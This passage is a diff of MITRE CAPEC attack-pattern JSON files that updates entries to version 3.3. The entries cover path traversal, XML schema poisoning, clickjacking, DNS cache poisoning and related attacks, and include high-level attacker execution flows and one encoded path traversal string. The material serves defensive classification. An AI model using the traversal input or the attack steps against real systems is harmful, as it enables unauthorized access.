URL-encoded, UTF-8, or Unicode. Consider the strings\n http://target server/some_directory\\..%5C..%5C..\\winnt\n where %5C is equivalent to the \\ character.\n " ], + "x_capec_execution_flow": "

Execution Flow

Experiment

  1. The attacker has access to a resource path and required to use slashes as resource delimiter.

  2. The attacker tries variation and combination of the slashes characters in different encoding format.

  3. The attacker found an unfiltered combination which maps to a valid path and accesses unauthorized resources (directories, files, etc.)

", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The application server accepts paths to locate resources.", @@ -138,7 +139,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--ebf4bdc7-73dd-47c4-96e1-1ff471efbcd2.json b/capec/attack-pattern/attack-pattern--ebf4bdc7-73dd-47c4-96e1-1ff471efbcd2.json index 49e2363424..83afeece8e 100644 --- a/capec/attack-pattern/attack-pattern--ebf4bdc7-73dd-47c4-96e1-1ff471efbcd2.json +++ b/capec/attack-pattern/attack-pattern--ebf4bdc7-73dd-47c4-96e1-1ff471efbcd2.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--914c8184-1de7-4e7e-8fa4-4a49dc9143eb", + "id": "bundle--65dd1cf1-67ab-412a-9b76-837c8560e238", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--ebf4bdc7-73dd-47c4-96e1-1ff471efbcd2", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "XML Schema Poisoning", - "description": "An adversary corrupts or modifies the content of XML schema information passed between a client and server for the purpose of undermining the security of the target. XML Schemas provide the structure and content definitions for XML documents. Schema poisoning is the ability to manipulate a schema either by replacing or modifying it to compromise the programs that process documents that use this schema. Possible attacks are denial of service attacks by modifying the schema so that it does not contain required information for subsequent processing. For example, the unaltered schema may require a @name attribute in all submitted documents. If the adversary removes this attribute from the schema then documents created using the new grammar may lack this field, which may cause the processing application to enter an unexpected state or record incomplete data. In addition, manipulation of the data types described in the schema may affect the results of calculations taken by the document reader. For example, a float field could be changed to an int field. Finally, the adversary may change the encoding defined in the schema for certain fields allowing the contents to bypass filters that scan for dangerous strings. For example, the modified schema might us a URL encoding instead of ASCII, and a filter that catches a semicolon (;) might fail to detect its URL encoding (%3B).", + "description": "An adversary corrupts or modifies the content of XML schema information passed between a client and server for the purpose of undermining the security of the target. XML Schemas provide the structure and content definitions for XML documents. Schema poisoning is the ability to manipulate a schema either by replacing or modifying it to compromise the programs that process documents that use this schema. Possible attacks are denial of service attacks by modifying the schema so that it does not contain required information for subsequent processing. For example, the unaltered schema may require a @name attribute in all submitted documents. If the adversary removes this attribute from the schema then documents created using the new grammar may lack this field, which may cause the processing application to enter an unexpected state or record incomplete data. In addition, manipulation of the data types described in the schema may affect the results of calculations taken by the document reader. For example, a float field could be changed to an int field. Finally, the adversary may change the encoding defined in the schema for certain fields allowing the contents to bypass filters that scan for dangerous strings. For example, the modified schema might use a URL encoding instead of ASCII, and a filter that catches a semicolon (;) might fail to detect its URL encoding (%3B).", "external_references": [ { "source_name": "capec", @@ -58,7 +58,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--ebf5cbfb-36d8-4983-9267-9d17bff3817f.json b/capec/attack-pattern/attack-pattern--ebf5cbfb-36d8-4983-9267-9d17bff3817f.json index 15d4cf9996..f6b1fea6a5 100644 --- a/capec/attack-pattern/attack-pattern--ebf5cbfb-36d8-4983-9267-9d17bff3817f.json +++ b/capec/attack-pattern/attack-pattern--ebf5cbfb-36d8-4983-9267-9d17bff3817f.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--caccdd90-c4ce-46cc-8783-f4c40ca2638b", + "id": "bundle--e517e38e-e907-4d4a-a914-fa84cae243cf", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--ebf5cbfb-36d8-4983-9267-9d17bff3817f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Cross Zone Scripting", "description": "An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security. In a zone-based model, pages belong to one of a set of zones corresponding to the level of privilege assigned to that page. Pages in an untrusted zone would have a lesser level of access to the system and/or be restricted in the types of executable content it was allowed to invoke. In a cross-zone scripting attack, a page that should be assigned to a less privileged zone is granted the privileges of a more trusted zone. This can be accomplished by exploiting bugs in the browser, exploiting incorrect configuration in the zone controls, through a cross-site scripting attack that causes the attackers' content to be treated as coming from a more trusted page, or by leveraging some piece of system functionality that is accessible from both the trusted and less trusted zone. This attack differs from \"Restful Privilege Escalation\" in that the latter correlates to the inadequate securing of RESTful access methods (such as HTTP DELETE) on the server, while cross-zone scripting attacks the concept of security zones as implemented by a browser.", "external_references": [ @@ -70,6 +70,7 @@ "x_capec_example_instances": [ "There was a cross zone scripting vulnerability discovered in Skype that allowed one user to upload a video with a maliciously crafted title that contains a script. Subsequently, when the victim attempts to use the \"add video to chat\" feature on attacker's video, the script embedded in the title of the video runs with local zone privileges. Skype is using IE web controls to render internal and external HTML pages. \"Add video to chat\" uses these web controls and they are running in the Local Zone. Any user who searched for the video in Skype with the same keywords as in the title field, would have the attackers' code executing in their browser with local zone privileges to their host machine (e.g. applications on the victim's host system could be executed)." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Find systems susceptible to the attack: Find systems that contain functionality that is accessed from both the internet zone and the local zone. There needs to be a way to supply input to that functionality from the internet zone and that original input needs to be used later on a page from a local zone.

    2. Techniques
    Leverage knowledge of common local zone functionality on targeted platforms to guide attempted injection of code through relevant internet zone mechanisms. In some cases this may be due to standard system configurations enabling shared functionality between internet and local zones. The attacker can search for indicators that these standard configurations are in place.

Experiment

  1. Find the insertion point for the payload: The attacker first needs to find some system functionality or possibly another weakness in the system (e.g. susceptibility to cross site scripting) that would provide the attacker with a mechanism to deliver the payload (i.e. the code to be executed) to the user. The location from which this code is executed in the user's browser needs to be within the local machine zone.

    2. Techniques
    Finding weaknesses in functionality used by both privileged and unprivileged users.

Exploit

  1. Craft and inject the payload: Develop the payload to be executed in the higher privileged zone in the user's browser. Inject the payload and attempt to lure the victim (if possible) into executing the functionality which unleashes the payload.

    2. Techniques
    The attacker makes it as likely as possible that the vulnerable functionality into which they have injected the payload has a high likelihood of being used by the victim.
    Leverage cross-site scripting vulnerability to inject payload.
", "x_capec_likelihood_of_attack": "Medium", "x_capec_prerequisites": [ "The target must be using a zone-aware browser." @@ -82,7 +83,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--ec0de204-6b66-4c4f-a401-21afa72f3941.json b/capec/attack-pattern/attack-pattern--ec0de204-6b66-4c4f-a401-21afa72f3941.json index fb940e6a0b..c3fe0e01ac 100644 --- a/capec/attack-pattern/attack-pattern--ec0de204-6b66-4c4f-a401-21afa72f3941.json +++ b/capec/attack-pattern/attack-pattern--ec0de204-6b66-4c4f-a401-21afa72f3941.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--69599fd5-feff-4b8f-a3dd-b046120c0040", + "id": "bundle--9e5c7cde-5e45-475e-8b44-78af956f369a", "spec_version": "2.0", "objects": [ { @@ -33,7 +33,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--ec382da0-af49-489b-bca1-a555d48b7ce3.json b/capec/attack-pattern/attack-pattern--ec382da0-af49-489b-bca1-a555d48b7ce3.json index 5c8c119021..0dd7d1ab1d 100644 --- a/capec/attack-pattern/attack-pattern--ec382da0-af49-489b-bca1-a555d48b7ce3.json +++ b/capec/attack-pattern/attack-pattern--ec382da0-af49-489b-bca1-a555d48b7ce3.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--67970341-8434-4c0f-a72b-541ee49783f0", + "id": "bundle--6b8346e3-9349-4a01-a0f6-bb6ed3af6994", "spec_version": "2.0", "objects": [ { @@ -30,7 +30,7 @@ "x_capec_likelihood_of_attack": "Medium", "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--ec41b2b3-a3b6-4af0-be65-69e82907dfef.json b/capec/attack-pattern/attack-pattern--ec41b2b3-a3b6-4af0-be65-69e82907dfef.json index a577e36d62..c977d75de5 100644 --- a/capec/attack-pattern/attack-pattern--ec41b2b3-a3b6-4af0-be65-69e82907dfef.json +++ b/capec/attack-pattern/attack-pattern--ec41b2b3-a3b6-4af0-be65-69e82907dfef.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--ff1b16ab-64fe-4a98-a6bf-28021c751e04", + "id": "bundle--35d6651d-95d6-4139-b3db-a05cef53bb50", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--ec41b2b3-a3b6-4af0-be65-69e82907dfef", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Clickjacking", "description": "In a clickjacking attack the victim is tricked into unknowingly initiating some action in one system while interacting with the UI from a seemingly completely different system. While being logged in to some target system, the victim visits the adversary's malicious site which displays a UI that the victim wishes to interact with. In reality, the clickjacked page has a transparent layer above the visible UI with action controls that the adversary wishes the victim to execute. The victim clicks on buttons or other UI elements they see on the page which actually triggers the action controls in the transparent overlaying layer. Depending on what that action control is, the adversary may have just tricked the victim into executing some potentially privileged (and most certainly undesired) functionality in the target system to which the victim is authenticated. The basic problem here is that there is a dichotomy between what the victim thinks they are clicking on versus what they are actually clicking on.", "external_references": [ @@ -46,8 +46,9 @@ ] }, "x_capec_example_instances": [ - "\n A victim has an authenticated session with a site that provides an electronic payment service to transfer funds between subscribing members. At the same time, the victim receives an e-mail that appears to come from an online publication to which he or she subscribes with links to today's news articles. The victim clicks on one of these links and is taken to a page with the news story. There is a screen with an advertisement that appears on top of the news article with the 'skip this ad' button. Eager to read the news article, the user clicks on this button. Nothing happens. The user clicks on the button one more time and still nothing happens.\n In reality, the victim activated a hidden action control located in a transparent layer above the 'skip this ad' button. The ad screen blocking the news article made it likely that the victim would click on the 'skip this ad' button. Clicking on the button, actually initiated the transfer of $1000 from the victim's account with an electronic payment service to an adversary's account. Clicking on the 'skip this ad' button the second time (after nothing seemingly happened the first time) confirmed the transfer of funds to the electronic payment service.\n " + "\n A victim has an authenticated session with a site that provides an electronic payment service to transfer funds between subscribing members. At the same time, the victim receives an e-mail that appears to come from an online publication to which they subscribe with links to today's news articles. The victim clicks on one of these links and is taken to a page with the news story. There is a screen with an advertisement that appears on top of the news article with the 'skip this ad' button. Eager to read the news article, the user clicks on this button. Nothing happens. The user clicks on the button one more time and still nothing happens.\n In reality, the victim activated a hidden action control located in a transparent layer above the 'skip this ad' button. The ad screen blocking the news article made it likely that the victim would click on the 'skip this ad' button. Clicking on the button, actually initiated the transfer of $1000 from the victim's account with an electronic payment service to an adversary's account. Clicking on the 'skip this ad' button the second time (after nothing seemingly happened the first time) confirmed the transfer of funds to the electronic payment service.\n " ], + "x_capec_execution_flow": "

Execution Flow

Experiment

  1. Craft a clickjacking page: The adversary utilizes web page layering techniques to try to craft a malicious clickjacking page

    2. Techniques
    The adversary leveraged iframe overlay capabilities to craft a malicious clickjacking page
    The adversary leveraged Flash file overlay capabilities to craft a malicious clickjacking page
    The adversary leveraged Silverlight overlay capabilities to craft a malicious clickjacking page
    The adversary leveraged cross-frame scripting to craft a malicious clickjacking page

Exploit

  1. Adversary lures victim to clickjacking page: Adversary utilizes some form of temptation, misdirection or coercion to lure the victim to loading and interacting with the clickjacking page in a way that increases the chances that the victim will click in the right areas.

    2. Techniques
    Lure the victim to the malicious site by sending the victim an e-mail with a URL to the site.
    Lure the victim to the malicious site by manipulating URLs on a site trusted by the victim.
    Lure the victim to the malicious site through a cross-site scripting attack.

  2. Trick victim into interacting with the clickjacking page in the desired manner: The adversary tricks the victim into clicking on the areas of the UI which contain the hidden action controls and thereby interacts with the target system maliciously with the victim's level of privilege.

    3. Techniques
    Hide action controls over very commonly used functionality.
    Hide action controls over very psychologically tempting content.
", "x_capec_likelihood_of_attack": "Medium", "x_capec_prerequisites": [ "The victim is communicating with the target application via a web based UI and not a thick client", @@ -64,7 +65,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--ed3de4d7-a053-42e4-9f3d-3a6293034e96.json b/capec/attack-pattern/attack-pattern--ed3de4d7-a053-42e4-9f3d-3a6293034e96.json index c9e0c0e929..526eb8cc87 100644 --- a/capec/attack-pattern/attack-pattern--ed3de4d7-a053-42e4-9f3d-3a6293034e96.json +++ b/capec/attack-pattern/attack-pattern--ed3de4d7-a053-42e4-9f3d-3a6293034e96.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--5a64b0c0-322f-44b0-84a6-c57e1bf58a48", + "id": "bundle--95e8e54c-d195-412f-887b-32362239642c", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--ed3de4d7-a053-42e4-9f3d-3a6293034e96", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Probe Application Memory", "description": "An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there.", "external_references": [ @@ -22,6 +22,16 @@ "url": "http://cwe.mitre.org/data/definitions/284.html", "external_id": "CWE-284" }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1266.html", + "external_id": "CWE-1266" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1272.html", + "external_id": "CWE-1272" + }, { "source_name": "reference_from_CAPEC", "description": "Kopo M. Ramokapane, Awais Rashid, Jose M. Such, Assured Deletion in the Cloud: Requirements, Challenges and Future Directions, Association for Computing Machinery (ACM), Proceedings of the 2016 ACM on Cloud Computing Security Workshop", @@ -47,7 +57,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--ed57f38c-2f0c-47ad-a6e2-16932fde978f.json b/capec/attack-pattern/attack-pattern--ed57f38c-2f0c-47ad-a6e2-16932fde978f.json index fe1d072ebb..67c4f6b084 100644 --- a/capec/attack-pattern/attack-pattern--ed57f38c-2f0c-47ad-a6e2-16932fde978f.json +++ b/capec/attack-pattern/attack-pattern--ed57f38c-2f0c-47ad-a6e2-16932fde978f.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--eaf98272-65a1-4dcb-8169-a3a2d340188b", + "id": "bundle--3ac924fc-a04c-4313-8fff-46437a9752e5", "spec_version": "2.0", "objects": [ { @@ -41,7 +41,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--ed79989c-6824-4b9d-912d-8d1fffe93715.json b/capec/attack-pattern/attack-pattern--ed79989c-6824-4b9d-912d-8d1fffe93715.json index 55a7acb5e9..48923f65b5 100644 --- a/capec/attack-pattern/attack-pattern--ed79989c-6824-4b9d-912d-8d1fffe93715.json +++ b/capec/attack-pattern/attack-pattern--ed79989c-6824-4b9d-912d-8d1fffe93715.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--757240bf-f79b-4f9b-a075-b6c4609140b9", + "id": "bundle--fdf2496c-7085-47a3-8dde-ae0d60b8b133", "spec_version": "2.0", "objects": [ { @@ -43,7 +43,7 @@ "Low": "To distribute email" }, "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--ee525a27-de33-45e9-ba7f-f63562001a5b.json b/capec/attack-pattern/attack-pattern--ee525a27-de33-45e9-ba7f-f63562001a5b.json index 1e3ea651bb..b53b1fcab5 100644 --- a/capec/attack-pattern/attack-pattern--ee525a27-de33-45e9-ba7f-f63562001a5b.json +++ b/capec/attack-pattern/attack-pattern--ee525a27-de33-45e9-ba7f-f63562001a5b.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--98777da5-1b0d-4f3a-a85d-f7b790c85d8e", + "id": "bundle--f933a2b9-656d-4d6a-91c8-cf825c771d6b", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--ee525a27-de33-45e9-ba7f-f63562001a5b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", - "name": "XML External Entities Blowup", - "description": "This attack takes advantage of the entity replacement property of XML where the value of the replacement is a URI. A well-crafted XML document could have the entity refer to a URI that consumes a large amount of resources to create a denial of service condition. This can cause the system to either freeze, crash, or execute arbitrary code depending on the URI.", + "modified": "2020-07-30T00:00:00.000Z", + "name": "Data Serialization External Entities Blowup", + "description": "This attack takes advantage of the entity replacement property of certain data serialization languages (e.g., XML, YAML, etc.) where the value of the replacement is a URI. A well-crafted file could have the entity refer to a URI that consumes a large amount of resources to create a denial of service condition. This can cause the system to either freeze, crash, or execute arbitrary code depending on the URI.", "external_references": [ { "source_name": "capec", @@ -34,7 +34,7 @@ "A server that has an implementation that accepts entities containing URI values." ], "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--ee604341-eb03-4b00-8188-26d6e999d6dc.json b/capec/attack-pattern/attack-pattern--ee604341-eb03-4b00-8188-26d6e999d6dc.json index 5d73aeef9f..eb839a1b30 100644 --- a/capec/attack-pattern/attack-pattern--ee604341-eb03-4b00-8188-26d6e999d6dc.json +++ b/capec/attack-pattern/attack-pattern--ee604341-eb03-4b00-8188-26d6e999d6dc.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--732fe381-d972-4c8b-af4c-51c20be6648f", + "id": "bundle--db65bc1e-2843-4cb3-ab7b-e4512a843456", "spec_version": "2.0", "objects": [ { @@ -73,6 +73,7 @@ "x_capec_example_instances": [ "\n In this example, an adversary sends request to a local DNS server to look up www.example .com. The associated IP address of www.example.com is 1.3.5.7.\n Local DNS usually caches IP addresses and do not go to remote DNS every time. Since the local record is not found, DNS server tries to connect to remote DNS for queries. However, before the remote DNS returns the right IP address 1.3.5.7, the adversary floods local DNS with crafted responses with IP address 2.4.6.8. The result is that 2.4.6.8 is stored in DNS cache. Meanwhile, 2.4.6.8 is associated with a malicious website www.maliciousexampsle.com\n When users connect to www.example.com, the local DNS will direct it to www.maliciousexample.com, this works as part of a Pharming attack.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Explore resolver caches: Check DNS caches on local DNS server and client's browser with DNS cache enabled.

    2. Techniques
    Run tools that check the resolver cache in the memory to see if it contains a target DNS entry.
    Figure out if the client's browser has DNS cache enabled.

Experiment

  1. Attempt sending crafted records to DNS cache: A request is sent to the authoritative server for target website and wait for the iterative name resolver. An adversary sends bogus request to the DNS local server, and then floods responses that trick a DNS cache to remember malicious responses, which are wrong answers of DNS query.

    2. Techniques
    Adversary must know the transaction ID by intercepting a DNS query, or sending a bogus query with known transaction ID.
    If the transaction ID used to identify each query instance is randomized in some new DNS software, the attack must guess the transaction ID. Slow the response of the real DNS server by causing Denial-of-service. This gives adversaries enough time to guess transaction
    Adversary crafts DNS response with the same transaction ID as in the request. The adversary sends out DNS responses before the authorized DNS server. This forces DNS local cache stores fake DNS response (wrong answer). The fake DNS responses usually include a malicious website's IP address.

Exploit

  1. Redirect users to malicious website: As the adversary succeeds in exploiting the vulnerability, the victim connects to a malicious site using a good web site's domain name.

    2. Techniques
    Redirecting Web traffic to a site that looks enough like the original so as to not raise any suspicion.
    Man-in-the-Middle intercepts secure communication between two parties.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "A DNS cache must be vulnerable to some attack that allows the adversary to replace addresses in its lookup table.Client applications must trust the corrupted cashed values and utilize them for their domain name resolutions." @@ -85,7 +86,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--eedaef1c-c3fb-4135-a1b5-4b186b9da854.json b/capec/attack-pattern/attack-pattern--eedaef1c-c3fb-4135-a1b5-4b186b9da854.json index de60d5056f..c0369ee26c 100644 --- a/capec/attack-pattern/attack-pattern--eedaef1c-c3fb-4135-a1b5-4b186b9da854.json +++ b/capec/attack-pattern/attack-pattern--eedaef1c-c3fb-4135-a1b5-4b186b9da854.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--b0808df5-c90c-4cc6-8525-3d79933039b9", + "id": "bundle--a1a5c60b-0acc-4006-a9cf-e5eb26b5149a", "spec_version": "2.0", "objects": [ { @@ -45,7 +45,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--ef205569-ee34-491a-b773-5c023e2c1680.json b/capec/attack-pattern/attack-pattern--ef205569-ee34-491a-b773-5c023e2c1680.json index 540f9e3fa8..2adbabe7d6 100644 --- a/capec/attack-pattern/attack-pattern--ef205569-ee34-491a-b773-5c023e2c1680.json +++ b/capec/attack-pattern/attack-pattern--ef205569-ee34-491a-b773-5c023e2c1680.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--d57c0d3c-f520-4c5f-ada0-0e34adb26388", + "id": "bundle--ec850d18-f331-49e6-a865-f8200ec0e9bf", "spec_version": "2.0", "objects": [ { @@ -29,7 +29,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--ef383edc-9f3a-405f-9406-3bd186551d35.json b/capec/attack-pattern/attack-pattern--ef383edc-9f3a-405f-9406-3bd186551d35.json index c7a51a879a..c7f8e849f3 100644 --- a/capec/attack-pattern/attack-pattern--ef383edc-9f3a-405f-9406-3bd186551d35.json +++ b/capec/attack-pattern/attack-pattern--ef383edc-9f3a-405f-9406-3bd186551d35.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--dd9436a4-9fd7-4e9b-b6bb-1dc5751faa7f", + "id": "bundle--97be5e6c-c1fc-46dc-ba46-6aea96ca9153", "spec_version": "2.0", "objects": [ { @@ -51,7 +51,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--ef825216-5e5d-43e4-87bf-edcf278fd8c1.json b/capec/attack-pattern/attack-pattern--ef825216-5e5d-43e4-87bf-edcf278fd8c1.json index bcb3b221c9..7e532501bc 100644 --- a/capec/attack-pattern/attack-pattern--ef825216-5e5d-43e4-87bf-edcf278fd8c1.json +++ b/capec/attack-pattern/attack-pattern--ef825216-5e5d-43e4-87bf-edcf278fd8c1.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--d83149e0-c69b-4328-8156-452e80025738", + "id": "bundle--61d397c8-ab8e-4b3a-9f45-a81a8ae201dd", "spec_version": "2.0", "objects": [ { @@ -72,7 +72,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--efb74200-657d-438c-aaff-bbd9644dd72d.json b/capec/attack-pattern/attack-pattern--efb74200-657d-438c-aaff-bbd9644dd72d.json index a590a1cbc0..ac0d6b0ebd 100644 --- a/capec/attack-pattern/attack-pattern--efb74200-657d-438c-aaff-bbd9644dd72d.json +++ b/capec/attack-pattern/attack-pattern--efb74200-657d-438c-aaff-bbd9644dd72d.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--2470ce24-b3ae-41d6-aff0-9e56dc1f568c", + "id": "bundle--df251bea-ee05-4239-b18f-4f4fb0771251", "spec_version": "2.0", "objects": [ { @@ -39,7 +39,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--effcb600-1cb5-4601-baa6-cb8fc02d586c.json b/capec/attack-pattern/attack-pattern--effcb600-1cb5-4601-baa6-cb8fc02d586c.json index 79f0da399d..8d230aa828 100644 --- a/capec/attack-pattern/attack-pattern--effcb600-1cb5-4601-baa6-cb8fc02d586c.json +++ b/capec/attack-pattern/attack-pattern--effcb600-1cb5-4601-baa6-cb8fc02d586c.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--c0b3f5d4-effd-4437-8bb6-96eb72bf6bc9", + "id": "bundle--2b96b9ba-bf39-4e2c-9835-84c8aaacc41b", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--effcb600-1cb5-4601-baa6-cb8fc02d586c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Influence Perception of Authority", "description": "An adversary uses a social engineering technique to convey a sense of authority that motivates the target to reveal specific information or take specific action. There are various techniques for producing a sense of authority during ordinary modes of communication. One common method is impersonation. By impersonating someone with a position of power within an organization, an adversary may motivate the target individual to reveal some piece of sensitive information or perform an action that benefits the adversary.", "external_references": [ @@ -40,7 +40,7 @@ ] }, "x_capec_example_instances": [ - "The adversary calls the target and announces that he is the head of IT at the target's company. The adversary goes on to say that there has been a technical issue and he/she needs the target's login credentials for their account. By convincing the target of his/her authority, the adversary hopes the target will reveal the sensitive information." + "The adversary calls the target and announces that they are the head of IT at the target's company. The adversary goes on to say that there has been a technical issue and they need the target's login credentials for their account. By convincing the target of their authority, the adversary hopes the target will reveal the sensitive information." ], "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ @@ -54,7 +54,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--f07a5f59-d27b-4cb4-8c85-43cacef3cbed.json b/capec/attack-pattern/attack-pattern--f07a5f59-d27b-4cb4-8c85-43cacef3cbed.json index d22a039d97..90bae6f4b1 100644 --- a/capec/attack-pattern/attack-pattern--f07a5f59-d27b-4cb4-8c85-43cacef3cbed.json +++ b/capec/attack-pattern/attack-pattern--f07a5f59-d27b-4cb4-8c85-43cacef3cbed.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--abf63c3d-a7a4-4ef1-b244-2b2c7623fb29", + "id": "bundle--5460ef90-42f7-4a33-a752-4226d9a94458", "spec_version": "2.0", "objects": [ { @@ -62,7 +62,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--f0e32d0e-9580-4b79-95e0-6e3b99bf6e45.json b/capec/attack-pattern/attack-pattern--f0e32d0e-9580-4b79-95e0-6e3b99bf6e45.json index 05ea561961..02d542d0f3 100644 --- a/capec/attack-pattern/attack-pattern--f0e32d0e-9580-4b79-95e0-6e3b99bf6e45.json +++ b/capec/attack-pattern/attack-pattern--f0e32d0e-9580-4b79-95e0-6e3b99bf6e45.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--4641cdb7-8ba9-4fdf-8934-4f8c009bc2fa", + "id": "bundle--1d658407-c667-4b09-acec-4785bed021f9", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--f0e32d0e-9580-4b79-95e0-6e3b99bf6e45", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Object Relational Mapping Injection", - "description": "An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject his or her own SQL 